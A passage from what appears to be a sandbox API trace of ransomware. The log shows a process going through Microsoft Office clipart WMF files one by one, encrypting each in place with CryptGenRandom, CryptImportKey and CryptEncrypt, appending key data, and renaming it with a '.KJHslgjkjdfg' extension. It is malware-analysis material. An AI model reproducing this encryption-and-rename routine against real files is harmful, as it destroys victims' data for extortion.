office\\clipart\\pub60cor\\so02228_.wmf.kjhslgjkjdfg")) returned 1 [0212.999] CloseHandle (hObject=0x130) returned 1 [0212.999] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0212.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.000] GetProcessHeap () returned 0x990000 [0213.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.001] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.001] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.001] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.001] GetProcessHeap () returned 0x990000 [0213.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.001] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.001] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.018] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.018] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.018] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.019] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x900, lpOverlapped=0x0) returned 1 [0213.019] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900) returned 1 [0213.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.019] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x900, lpOverlapped=0x0) returned 1 [0213.019] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.019] SetEndOfFile (hFile=0x130) returned 1 [0213.022] GetProcessHeap () returned 0x990000 [0213.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.022] GetProcessHeap () returned 0x990000 [0213.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.kjhslgjkjdfg")) returned 1 [0213.024] CloseHandle (hObject=0x130) returned 1 [0213.031] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0213.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.033] GetProcessHeap () returned 0x990000 [0213.033] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.033] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.071] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.071] GetProcessHeap () returned 0x990000 [0213.071] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.071] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.071] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.071] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.072] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.072] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.072] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe88, lpOverlapped=0x0) returned 1 [0213.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90, dwBufLen=0xe90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90) returned 1 [0213.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.073] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe90, lpOverlapped=0x0) returned 1 [0213.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.073] SetEndOfFile (hFile=0x130) returned 1 [0213.076] GetProcessHeap () returned 0x990000 [0213.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.076] GetProcessHeap () returned 0x990000 [0213.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.kjhslgjkjdfg")) returned 1 [0213.078] CloseHandle (hObject=0x130) returned 1 [0213.078] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0213.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.079] GetProcessHeap () returned 0x990000 [0213.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.079] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.080] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.080] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.080] GetProcessHeap () returned 0x990000 [0213.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.080] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.080] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.080] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.112] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.112] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.113] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8e0, lpOverlapped=0x0) returned 1 [0213.113] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0) returned 1 [0213.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.113] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8e0, lpOverlapped=0x0) returned 1 [0213.114] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.114] SetEndOfFile (hFile=0x130) returned 1 [0213.116] GetProcessHeap () returned 0x990000 [0213.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.116] GetProcessHeap () returned 0x990000 [0213.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.kjhslgjkjdfg")) returned 1 [0213.118] CloseHandle (hObject=0x130) returned 1 [0213.118] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0213.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.132] GetProcessHeap () returned 0x990000 [0213.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.132] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.208] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.208] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.208] GetProcessHeap () returned 0x990000 [0213.208] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.208] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.208] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.208] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.209] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.209] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.209] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.209] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.209] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.209] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.209] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x818, lpOverlapped=0x0) returned 1 [0213.209] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820) returned 1 [0213.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.209] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x820, lpOverlapped=0x0) returned 1 [0213.210] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.210] SetEndOfFile (hFile=0x130) returned 1 [0213.212] GetProcessHeap () returned 0x990000 [0213.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.212] GetProcessHeap () returned 0x990000 [0213.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.kjhslgjkjdfg")) returned 1 [0213.215] CloseHandle (hObject=0x130) returned 1 [0213.215] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0213.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.256] GetProcessHeap () returned 0x990000 [0213.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.256] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0213.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.277] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.277] GetProcessHeap () returned 0x990000 [0213.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 